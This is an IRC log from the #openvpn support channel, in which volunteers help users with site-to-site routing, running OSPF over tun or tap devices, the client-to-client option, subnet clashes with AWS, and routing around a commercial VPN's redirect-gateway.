06:20 -!- [1]JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Chicks dig it]
06:21 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
06:29 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
06:46 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
06:53 -!- soulse [~soulse@190.222.252.9] has quit [Ping timeout: 240 seconds]
07:20 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
07:28 -!- soulse [~soulse@190.222.252.9] has quit [Ping timeout: 248 seconds]
07:31 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
07:35 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has quit [Read error: Operation timed out]
07:41 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Ping timeout: 248 seconds]
07:43 < yeshello1here> IT: i'm sure many people will help you set it up for no charge
07:44 < IT> i have run out of ideeas
07:44 < yeshello1here> IT: openvpn is pretty easy to set up! what are you trying to do?
07:45 < IT> i'm trying to setup a office-2-office connection with different subnets
07:45 < yeshello1here> ok so you want each office to be able to access the other office over a vpn?
07:45 < IT> yes
07:46 < IT> i got openvpn running and connecting but i can't access the other network pc's
07:46 < yeshello1here> are you running openvpn on the default gateway for your network?
07:46 < IT> yes, on every office
07:47 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
07:48 < yeshello1here> IT: sorry, just dealing with my own problem there
07:52 < yeshello1here> IT: it sounds like a default gateway issue anyhow, if you detail what debugging you've done i'll help a bit more in a minute
07:52 < yeshello1here> just got an OSPF issue to fix :(
07:53 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has joined #openvpn
07:54 <@ecrist> good mroning
07:55 <+rob0> IT, what is your budget, and what OSs are involved?
07:55 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
07:55 < IT> atm i'm not sure if i'm using the right configuration for this http://pastebin.com/RQnHWwxL
07:56 < IT> @rob0t, check PM
07:57 < yeshello1here> morning ecrist
08:01 < fu_fu> Hello, G'morning
08:01 -!- soulse [~soulse@190.222.252.9] has quit [Read error: Operation timed out]
08:01 < yeshello1here> so i want to run a tap openvpn
08:01 < yeshello1here> but i also want my clients to get /30s
08:01 < yeshello1here> as i care only about multicast availability on the link
08:01 < yeshello1here> (so i can run ospf over it!)
08:02 <@ecrist> why do you want to use tap, then?
08:02 < yeshello1here> as i understand multicast on tun doesn't work?
08:02 <@ecrist> that doesn't make sense
08:02 < yeshello1here> i'm sure i tested it originally but that was like 18 months ago
08:03 < yeshello1here> so openvpn should support multicast over tuns? cause if so i'll just switch to that right now
08:03 <@ecrist> i believe so, yes
08:03 -!- bjh4 [~bjh4@ool-18bbdf6b.static.optonline.net] has joined #openvpn
08:03 < yeshello1here> is there an easy way to assign them a specific tun # too?
08:03 <@ecrist> tun devices won't support broadcast, but that's not related to multicast.
08:03 <@ecrist> !cd
08:03 <@ecrist> !ccd
08:04 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
08:04 <@ecrist> !static
08:04 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder
08:04 < yeshello1here> uh i meant the actual tun device, as i have two tun VPNs configured on a debian box
08:04 <@plaisthos> yeshello1here: you don't need multicast for ospf. You can statically configure neighbours ...
08:04 < yeshello1here> i'm just gonna go read up on configuration though to make sure i don't screw things up too badly
08:05 <@ecrist> yeshello1here: those two things vpnHelper just said will get you static IPs for your clients
08:05 < yeshello1here> plaisthos: in this use case we can't go with simple static configs
08:05 < yeshello1here> ecrist: static IPs don't matter, it's just the actual tun device number that i care about
08:05 < yeshello1here> thanks for all the help so far though
08:05 <@ecrist> yeshello1here: that's specific to linux, but you can specify a tun device number in the config
08:06 <@ecrist> --dev tun0
08:06 <@ecrist> --dev tun1
08:06 <@ecrist> etc
08:06 < yeshello1here> ok well i'll hope that works, doing some dangerous stuff at 2pm on a monday haha
08:07 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
08:09 <@ecrist> yeshello1here: no reason it shouldn't work.
08:09 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Quit: Leaving.]
08:10 < yeshello1here> ecrist: the issue is that one site is only connected via this currently badly configured VPN
08:11 < yeshello1here> it was haphazardly moved and set up and now needs careful attention
08:11 <@ecrist> well, that's not a problem with OpenVPN so much as it's your problem. :)
08:11 < IT> guys, any ideea what i'm missing here http://pastebin.com/RQnHWwxL ?
08:12 <@ecrist> why do you think you're missing something?
08:15 < IT> i can't ping the other lan gw or machines
08:15 <@ecrist> do you see anything in your logs?
08:16 < IT> just this warning"  WARNING: 'ifconfig' is present in remote config but missing in local config, remote='ifconfig 10.0.8.0 255.255.255.0'"
08:17 <@ecrist> !logs
08:17 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
08:17 < IT> ok, sec
08:17 <@ecrist> IT: you have two servers and no clients?
08:17 <@ecrist> generally, the way this works is one is a server, the other is a client
08:18 <@ecrist> remove line 31
08:18 <@ecrist> remove line 29
08:18 <@ecrist> and 28
08:18 < IT> on server?
08:18 <@ecrist> and 33
08:19 <@ecrist> from your pastebin
08:19 < IT> ok
08:19 <@ecrist> (and affect those changes on the appropriate config)
08:20 < IT> if i do that i get Options error: Parameter ca_file can only be specified in TLS-mode, i.e. where --tls-server or --tls-client is also specified.
08:21 <@ecrist> remove tls-client and replace it with client
08:21 < IT> k
08:22 < IT> i removed them and i can ping the other vpn's interface 10.0.8.2
08:23 < IT> getting RwrWRwrWRwrWRwrWRwrWWRWRWRWR in the log while dooing it
08:23 < IT> but that's as far as it goes
08:23 < IT> can't reach the gw or machines behind it
08:23 <@ecrist> please pastebin your logs
08:23 <@ecrist> verb set to 4 or higher
08:24 -!- test003 [~test003@soho-94-143-249-78.sohonet.co.uk] has joined #openvpn
08:24 -!- test003 is now known as lurpy
08:25 < IT> verb 5 -> server http://pastebin.com/1TpXhT20
08:25 < IT> -> client http://pastebin.com/c2mFHDY1
08:26 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
08:27 <@ecrist> from the client, are you able to ping 10.0.8.1?
08:28 <@ecrist> looks like the VPN came up without issue
08:28 <@ecrist> !goal
08:28 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
08:28 <@ecrist> afk a few
08:29 < fu_fu> question: is it possible to install additional w32-Tun/tap adapters on windows? likewise additional versions of openvpn?
08:29 < IT> @ecrist, yes i can ping 10.0.8.1 from the client
08:30 < yeshello1here> hmm ok so i reconfigured my VPN to tun, and OSPF is configured in point to point, but i ain't seeing it, i think cause the peer address doesn't respond, which is kinda odd
08:30 < IT> goal -  I would like to access the lan behind the server and vice-versa
08:30 <@dazo> fu_fu: yes, it should be a addtap.bat file where you'll find the openvpn.exe file .... run that one to add another tap adapter
08:30 <@dazo> fu_fu: it should also be fairly well documented in man and howto pages, how to tell openvpn to use these different tap adapters too
08:32 < fu_fu> dazo nice, thanks, if I add the adapter and dev tun0, 1, 2;  and install dif versions in dif dirs, then the service seems to get overwritten
08:34 <@dazo> fu_fu: the service stuff might be somewhat different, yes ... but running openvpn service with different versions of openvpn sounds like a very odd setup ... so then you need to hack it yourself
08:34  * dazo pulls up his normal disclaimer: dazo is not a Windows user
08:35 < fu_fu> lol, i am setting up on linux next
08:37 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has quit [Quit: Computer has gone to sleep.]
08:50 -!- valparaiso [~valparais@ARennes-257-1-179-35.w2-13.abo.wanadoo.fr] has left #openvpn []
08:53 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
08:56 < yeshello1here> yeah ecrist i'm having some weird issues here
08:56 < yeshello1here> i think it's because the tunnel is set up between ex: .5 and .6
08:56 < yeshello1here> but the server only responds on .1
08:56 < yeshello1here> i'm gonna try with pool-linear
08:56 < yeshello1here> see what happens
08:58 < yeshello1here> that looks much better now
08:59 < yeshello1here> oh so close
08:59 < yeshello1here> i can see the peer but it doesn't get into a full state
09:03 < yeshello1here> yeah so the problem i guess is that openvpn handles its own internal routing for that
09:12 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has joined #openvpn
09:22 < yeshello1here> plaisthos / ecrist: i've now been told that in fact openvpn's internal routing table precludes using ospf in any way but p2p, the only other way around it i can see is if i could generate a bunch of /30 connections but using tap so i could run broadcast across it
09:23 < yeshello1here> however iptables-pool seems insistent on making one big network if i use tap, is there any way around this?
09:24 < IT> use tun ?
09:24 < yeshello1here> it won't work because the endpoint addresses do not match
09:24 < yeshello1here> (unless you use p2p)
09:24 < fu_fu> yeshello1here, oyu can firewall or accesslist, TAP is meant to make one big LAN, if you want to route, use TUN
09:25 < fu_fu> can you use p2p? why do you want TAP?
09:25 < yeshello1here> tun won't work because openvpn presents only its internal address for routing and so i can't run ospf across it unless both sides match
09:25 < yeshello1here> fu_fu: it would be less configuration and armache basically
09:25 < yeshello1here> cause i could just run broadcast across it and any clients connecting would be fine
09:25 < yeshello1here> instead of having to make individual VPNs for each potential endpoint
09:28 < fu_fu> interesting, are you on *nix or Win?
09:30 < yeshello1here> nix, i'm wondering about --topology
09:30 < yeshello1here> i don't think it'd work like i'm looking for really
09:30 < yeshello1here> i need to take a short break and go over this
09:31 < fu_fu> if you are using ospf you should be able to get away with using p2p. you will have more complete control of routing
09:31 < yeshello1here> yeah i'm just concerned about setting up 10+ tun devices and managing them all as nicely
09:31 < fu_fu> heh, ya, that's new to me
09:32 < yeshello1here> i assume i can still go with CA auth?
09:32 < yeshello1here> i bloody hope so!
09:32 < fu_fu> sure, no reason why not
09:39 -!- soulse [~soulse@190.222.252.9] has quit [Remote host closed the connection]
09:40 -!- soulse [~soulse@nat/cisco/x-zkqauoaharydwnac] has joined #openvpn
09:52 -!- dazo is now known as dazo_afk
09:53 <@ecrist> IT: you're VPN is working, if you can ping 10.0.8.1
09:53 <@ecrist> now you need to push the proper routes
09:54 <@ecrist> yeshello1here: use tap, then.
09:54 <@ecrist> you can still use routed VPN (avoid bridge, if you can)
09:55 < yeshello1here> ecrist: tap always uses the subnet topology
09:55 < yeshello1here> which is the problem
09:55 < yeshello1here> as it causes errant ospf adjacencies
09:56 <@ecrist> see if this helps you at all: http://www.secure-computing.net/wiki/index.php/OpenVPN/RIPRouting
09:56 <@vpnHelper> Title: OpenVPN/RIPRouting - Secure Computing Wiki (at www.secure-computing.net)
09:56 < yeshello1here> ecrist: this is how i am now setting it up (telling a peon to set it up for me)
09:57 < yeshello1here> individual p2p links between the various machines
09:57 < yeshello1here> i'm quite happy with that solution really
09:57 < yeshello1here> ecrist: i have a more important (ie personal) issue to solve, i have a tap vpn bridged into br0, i am trying to communicate client to client without client-to-client set, from my reading of the documentation this should forward traffic on to the bridge interface
09:57 < yeshello1here> this seems to be happening, i see the ARP request from my machine
09:57 < yeshello1here> but
09:58 < yeshello1here> it never makes it to the client, so openvpn seems to be ignoring incoming arps for client addresses from the bridge or similar
09:58 <@ecrist> you won't be able to, without client-to-client
09:58 < yeshello1here> that seems rather dangerous?
09:58 <@ecrist> no
09:58 < yeshello1here> i want to have some measure of firewalling between clients
09:58 -!- dazo_afk is now known as dazo
09:58 <@ecrist> if you want clients to talk to eachother, you need to enable client-to-client
09:58 <@ecrist> use a firewall, then
09:59 < yeshello1here> the documentation isn't very clear on that
09:59 < yeshello1here> how can i use a firewall, if the packets never leave openvpn? :)
09:59 <@ecrist> if you enable client-to-client, they do
09:59 < yeshello1here> wait, that's not what the documentation says
09:59 < yeshello1here> with client-to-client packets are routed internally within openvpn
09:59 < yeshello1here> and never hit the OS stack for firewalling
09:59 < yeshello1here> that means i have to tell my users to maintain their own security, which is pretty annoying compared
09:59 <@ecrist> have you tried it?
10:00 <@ecrist> iirc, there's an error in the docs
10:00 < yeshello1here> no i'm currently on the VPN so i can't kill it until later on
10:00 <@ecrist> that's hardly *my* problem. :P
10:00 < yeshello1here> i'll give it a go anyhow
10:00 <@ecrist> you could setup a test vpn
10:00 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has quit [Ping timeout: 248 seconds]
10:00 < yeshello1here> i'm just making my excuses before i get shouted at :)
10:00 < yeshello1here> ecrist: i could, but it's not so urgent i can't test it later on today
10:00 <@ecrist> it's what we'd do 
10:00 < yeshello1here> i can always tell the users to firewall themselves
10:01 < yeshello1here> but it's nicer to do it for them
10:02 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has joined #openvpn
10:02 -!- zol_ [~z@del63-4-78-248-82-46.fbx.proxad.net] has quit [Remote host closed the connection]
10:06 -!- soulcito [~soulse@nat/cisco/x-cqtmoghxzixmmfif] has joined #openvpn
10:07 -!- Tativie [~Tativie@gateway/tor-sasl/tativie] has joined #openvpn
10:09 -!- soulse [~soulse@nat/cisco/x-zkqauoaharydwnac] has quit [Ping timeout: 240 seconds]
10:09 < Tativie> Is there a good watchdog program for when the vpn goes down (debian-gnome)?
10:10 -!- soulse [~soulse@nat/cisco/x-aojgevtxztkmahxk] has joined #openvpn
10:10 -!- soulcito [~soulse@nat/cisco/x-cqtmoghxzixmmfif] has quit [Read error: Connection reset by peer]
10:11 < Tativie> Or perhaps some setting in the config that will prevent connections when the vpn fails?
10:12 <+rob0> !keepalive
10:12 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
10:14 <@dazo> Tativie: two options ... 1) a tiny script which fpings the remote VPN ... and barfs if it can't get contact ....  2) A little log watch framework I wrote (haven't publicly released it yet, but works well) ... http://fedorapeople.org/cgit/dsommers/public_git/logactio.git/
10:14 <@vpnHelper> Title: logactio.git - Simple log file watcher framework which does certain actions when some log events happen (at fedorapeople.org)
10:14 < Tativie> rob0: Do you know how I can spesify a .conf file with that setting it in for the gnome shell? Right not it doesn't seem to have any .conf file with the keys or elsewhere.
10:15 <+rob0> that question does not make sense. You create your config files.
10:16 <@dazo> (unless you use NetworkManager .....)
10:16 < Tativie> I have a server config, but don't think I have a client one.
10:16 < Tativie> I know you can have a client one too, but not sure how to set it with debian running gnome
10:17 < Tativie> I could spesify it in the command line when I start the openvpn, I know
10:17 < Tativie> but not sure how to set it with the gnome desktop, which is what I would prefer if possible.
10:18 <+rob0> okay, I am not using any kind of GUI frontend, so I can't help with those
10:18 <@dazo> Tativie: You can consider to try gopenvpn ... that uses normal config files ... and gives you a reasonable GUI to start/stop/monitor your tunnels
10:18 <+rob0> you might want to review your distro's openvpn package documentation, which might tell you how to name your files and where to put them
10:19 < Tativie> Both good ideas, Thanks :) I'll go do some reading and playing around with gopenvpn.
10:19 -!- Tativie [~Tativie@gateway/tor-sasl/tativie] has left #openvpn []
10:21 -!- master_of_master [~master_of@p57B536BC.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
10:23 -!- master_of_master [~master_of@p57B55F0A.dip.t-dialin.net] has joined #openvpn
10:24 < yeshello1here> you know i just realised
10:24 < yeshello1here> like 5 meg memory use
10:24 < yeshello1here> for a fairly big VPN server
10:24 < yeshello1here> is hilariously efficient
10:24 -!- dazo is now known as dazo_afk
10:24 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
10:50 < fu_fu> I have a TUN server in AWS cloud and clients all-over. one client has a LAN that needs to be visible, and a printer that all clients need to print to. Windows OSs. The cloud server has the main need for printing. any ideas?
10:51 <@ecrist> as long as you do the routing properly, the printing should work by IP
10:53 < fu_fu> there is some difficulty with routing that I am having, possibly due to AWS now using 10.8.0.0 subnet for the region, when i push the routes things start to break
10:54 <@ecrist> !1918
10:54 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
10:54 <@ecrist> try a different range
10:55 < fu_fu> ya, i tried 10.251.0.0 and it works, but I wonder when they will get to that, the 172.0.0.0 are taken in AWS-EU, 192.X are typical for client LANs
10:56 < fu_fu> 172.12.0.0^
10:56 < fu_fu> oops again 172.16.0.0.
10:57 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has quit [Ping timeout: 252 seconds]
10:58 < fu_fu> is there a listing of the vpnHelper !_tags?
10:59 <+EugeneKay> !factoids
10:59 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
11:01 < fu_fu> cool thanks
11:03 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has joined #openvpn
11:06 -!- raidz_away is now known as raidz
11:06 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
11:17 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
11:17 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Read error: Connection reset by peer]
11:17 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
11:17 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
11:17 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:38 -!- soulcito [~soulse@190.222.252.9] has joined #openvpn
11:39 -!- soulse [~soulse@nat/cisco/x-aojgevtxztkmahxk] has quit [Ping timeout: 248 seconds]
11:46 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:52 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
11:53 -!- soulcito [~soulse@190.222.252.9] has quit [Ping timeout: 276 seconds]
12:06 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 260 seconds]
12:10 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 252 seconds]
12:11 -!- wrod [~wrodrigue@triband-mum-120.61.4.231.mtnl.net.in] has joined #openvpn
12:25 -!- ronsel [~ronsel@dslb-088-074-167-187.pools.arcor-ip.net] has quit [Quit: Dieser Computer ist eingeschlafen]
12:26 -!- wrod [~wrodrigue@triband-mum-120.61.4.231.mtnl.net.in] has left #openvpn ["Leaving"]
12:37 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
12:37 -!- soulcito [~soulse@190.222.252.9] has joined #openvpn
12:39 -!- soulse [~soulse@190.222.252.9] has quit [Ping timeout: 260 seconds]
12:40 -!- soulcito [~soulse@190.222.252.9] has quit [Remote host closed the connection]
12:40 -!- soulse [~soulse@nat/cisco/x-xnmnzjlkesaokezq] has joined #openvpn
13:09 -!- brute11k [~brute11k@89.249.235.75] has quit [Quit: Leaving.]
13:19 -!- fu_fu1 [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
13:19 -!- fu_fu1 [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Client Quit]
13:21 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: Leaving]
13:24 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Ping timeout: 276 seconds]
13:33 -!- kyrix [~ashley@71-212-76-89.tukw.qwest.net] has joined #openvpn
13:45 < yeshello1here> ecrist: you seem to be correct, there was an error in the docs, client-to-client has magically made everything right with the world
13:46 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
13:50 -!- awdjadj [~IceChat77@91.225.135.254] has joined #openvpn
13:50 <@ecrist> right
13:50 <@ecrist> I'll work on changing it
13:57 < yeshello1here> i don't really have the authority to do that
13:57 < yeshello1here> but if i can help, please let me know how
13:58 < yeshello1here> if it involves a lot of reading C, expect procrastination and idelenss
13:58 <@ecrist> 13:50:28 <@ecrist> I'll work on changing it
13:59 <@ecrist> I didn't ask/tell you to do it
13:59 < yeshello1here> oh sorry
14:00 < yeshello1here> i've been up for ages
14:00 < yeshello1here> i thought you said "I'd work on changing it" :)
14:00 < yeshello1here> blurry eyes, bad vision, more excuses etc
14:00 < yeshello1here> still that's 2 vpn issues and one ospf issue sorted today
14:01 -!- _0x783czar [~0x783czar@50.117.78.133] has joined #openvpn
14:02 -!- soulse [~soulse@nat/cisco/x-xnmnzjlkesaokezq] has quit [Remote host closed the connection]
14:02 -!- soulse [~soulse@nat/cisco/x-gutqdbxcmbhfdkqw] has joined #openvpn
14:02  * rob0 read "it" in "I'll work on changing it" as "everything [being] right with the world"
14:03 < _0x783czar> Is it possible to manually configure my MacBook to connect to my openvpn account through the System Preferences Networking Pane?  in otherwords, without the Private Tunnel client.
14:04 <@ecrist> _0x783czar: maybe
14:04 <@ecrist> not sure of a way, though
14:04 <+rob0> That sounds like a MacOS question. But indeed, a Mac can run openvpn directly from the shell.
14:05 < _0x783czar> rob0: yeah, I know how to set up a vpn on my Mac, but I don't know what server to point it to.
14:05 < _0x783czar> or what protocol it uses
14:06 <@ecrist> it uses openvpn
14:07 <@ecrist> you need an openvpn client - you can't use any generic VPN protocol
14:07 < _0x783czar> ecrist: oh so openvpn is it's own protocol?  so not PPTP
14:07 <@ecrist> Tunnelblick is free
14:08 <@ecrist> private tunnel is an OpenVPN Technologies solution - it's written/managed by the same people at corp that help develop openvpn
14:08 < _0x783czar> ecrist: yeah, i'm able to connect using the PrivateTunnel client, but I was just wondering if I could set it up to use OSXs built in connection manager
14:09 <@ecrist> oh, no, you cannot
14:09 < _0x783czar> ecrist: OK.  Oh well, thank-you very much for your help
14:14 -!- awdjadj [~IceChat77@91.225.135.254] has quit [Quit: OUCH!!!]
14:15 -!- _0x783czar [~0x783czar@50.117.78.133] has quit [Ping timeout: 255 seconds]
14:27 -!- soulcito [~soulse@nat/cisco/x-fgfiuxlqkvuxaqma] has joined #openvpn
14:31 -!- soulse [~soulse@nat/cisco/x-gutqdbxcmbhfdkqw] has quit [Ping timeout: 265 seconds]
14:32 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
14:34 -!- soulcito [~soulse@nat/cisco/x-fgfiuxlqkvuxaqma] has quit [Ping timeout: 240 seconds]
14:54 -!- dan_ [~dan@c-98-228-62-52.hsd1.il.comcast.net] has joined #openvpn
14:58 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 260 seconds]
15:00 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:12 -!- soulse [~soulse@190.222.252.9] has quit [Remote host closed the connection]
15:12 -!- soulse [~soulse@nat/cisco/x-wgksrcjowvejcasu] has joined #openvpn
15:20 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
15:20 -!- soulse [~soulse@nat/cisco/x-wgksrcjowvejcasu] has quit [Read error: Connection reset by peer]
15:21 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
15:23 -!- dan_ [~dan@c-98-228-62-52.hsd1.il.comcast.net] has quit [Quit: Leaving]
15:27 -!- bjh4 [~bjh4@ool-18bbdf6b.static.optonline.net] has quit [Ping timeout: 272 seconds]
15:35 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:40  * EugeneKay sneezes loudly
16:06 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has quit [Ping timeout: 240 seconds]
16:08 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has joined #openvpn
16:13 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Read error: Operation timed out]
16:18 -!- Kage` [~Kage@198.148.81.187] has left #openvpn ["Derp"]
16:18 -!- gladiatr [~sdspence@24.124.15.166] has joined #openvpn
16:20 -!- kyrix_ [~ashley@71-212-76-89.tukw.qwest.net] has joined #openvpn
16:20 -!- kyrix [~ashley@71-212-76-89.tukw.qwest.net] has quit [Read error: Connection reset by peer]
16:25 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has quit [Ping timeout: 260 seconds]
16:27 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
16:32 -!- gladiatr [~sdspence@24.124.15.166] has quit [Changing host]
16:32 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
16:34 -!- btor [~btor@nor75-19-82-244-49-15.fbx.proxad.net] has joined #openvpn
16:34 < btor> Hi all
16:36 < btor> i have a problem with openvpn, i use a VPN service, which is in a routed mode ( TUN interface ) but when i launch it on my server, my server become unreachable. So, do you know the step to specify openvpn to work on just online one interface like eth1 ?
16:38 <+pekster> btor: OpenVPN works just fine when you have a single physical network interface. It sounds like you messed up the configuration, because launching a routed configuration shouldn't do that. Did you not use a unique network range for your VPN?
16:38 < btor> in advance, sorry for my english i'm french ...
16:38 <+rob0> could be a lot of things, really
16:39 < btor> pekster, i use "Hide my ass" service, i dont have an access on the server, i just use it like a client
16:40 <+pekster> I'm not your provider, so I can't help you with their service. However, I suspect they're re-routing all traffic through the server, so you can't actually reach your server directly via your ssh or RDP or however you're doing it
16:42 <+pekster> You could probably perform some magic on the client side to add a host-specific route to reach your client IP (the one used by you to contact your remote host) and route that over the pre-existing connection. This is kind of an ugly solution though. Something like 'route YOUR_CLIENT_IP 255.255.255.255 net_gateway' (where you replace your known client IP with the IP you're using
16:42 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
16:42 <+pekster> That's sort of a bad solution, but there if you want to play with it
16:43 < btor> pekster, yes, that's what i want to do, like using iptable or other way to re-route it
16:43 <+pekster> I just told you how to do that
16:44 < btor> yes, and thank's you but i though it was possible to specify an interface to openvpn
16:45 <+rob0> it's [probably] not anything openvpn does. It's probably the change to the system route table.
16:45 <+pekster> You don't seem to understand what's going on. Your provider (which I am not affialated with and can't help you troubleshoot) is pushing the 'redirect-gateway' option, which over-rides your default gateway. If you want to override that for a specific Internet host, you need to configure it to do that, such as with the configuration line I just gave you
16:46 < btor> oh ok, i understand
16:48 < btor> thank's a lot people, i'll test it soon
16:55 -!- btor [~btor@nor75-19-82-244-49-15.fbx.proxad.net] has quit [Quit: Quitte]
16:56 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
17:02 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Remote host closed the connection]
17:02 -!- kyrix_ [~ashley@71-212-76-89.tukw.qwest.net] has quit [Read error: Connection reset by peer]
17:02 -!- kyrix_ [~ashley@71-212-76-89.tukw.qwest.net] has joined #openvpn
17:03 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 272 seconds]
17:03 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Ping timeout: 255 seconds]
17:04 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Remote host closed the connection]
17:04 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
17:06 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
17:06 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
17:13 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
17:18 -!- soulse [~soulse@190.222.252.9] has quit [Remote host closed the connection]
17:19 -!- soulse [~soulse@nat/cisco/x-mrdcozdnjcbyeggf] has joined #openvpn
17:20 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
17:28 -!- brute11k [~brute11k@89.249.235.75] has joined #openvpn
17:41 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
18:01 -!- ben1066 [~quassel@unaffiliated/ben1066] has quit [Read error: Connection reset by peer]
18:04 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: Leaving]
18:06 -!- kyrix_ [~ashley@71-212-76-89.tukw.qwest.net] has quit [Ping timeout: 260 seconds]
18:28 -!- ActionA [~ActionA@2001:470:7:1f6::2] has joined #openvpn
18:29 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
18:31 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:44 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
